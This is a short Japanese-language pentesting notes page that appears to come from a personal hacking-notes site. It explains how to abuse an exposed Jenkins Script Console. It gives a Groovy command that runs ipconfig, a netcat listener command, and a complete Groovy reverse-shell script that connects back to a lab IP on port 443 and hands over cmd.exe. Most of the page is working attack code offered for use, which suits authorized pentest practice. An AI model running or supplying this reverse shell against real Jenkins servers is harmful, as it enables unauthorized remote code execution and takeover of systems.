> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/jenkins-cms-exploitation.md).
# Jenkins
Script Consoleアクセス、Groovyコマンド実行、Windowsリバースシェルペイロード、Netcatリスナーのセットアップ、リモートコード実行のためのJenkins攻略ノート。
**Jenkins - Groovyスクリプトの実行**
Jenkins にアクセスでき、 **Script Console** が有効になっており、Groovyスクリプトの実行が可能です。
実行をテストするためのコマンド例：
```groovy
println "ipconfig".execute().text
```
### **悪用**
#### **Groovyスクリプトコンソール経由のリバースシェル**
リモートアクセスを取得するには、次の手順を使用します：
1. **ポート443でリスナーを起動する:**
```bash
rlwrap nc -nvlp 443
```
2. **Groovyコンソールで次のスクリプトを実行し** リバースシェルを確立します：
{% code overflow="wrap" %}
```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
{% endcode %}
---
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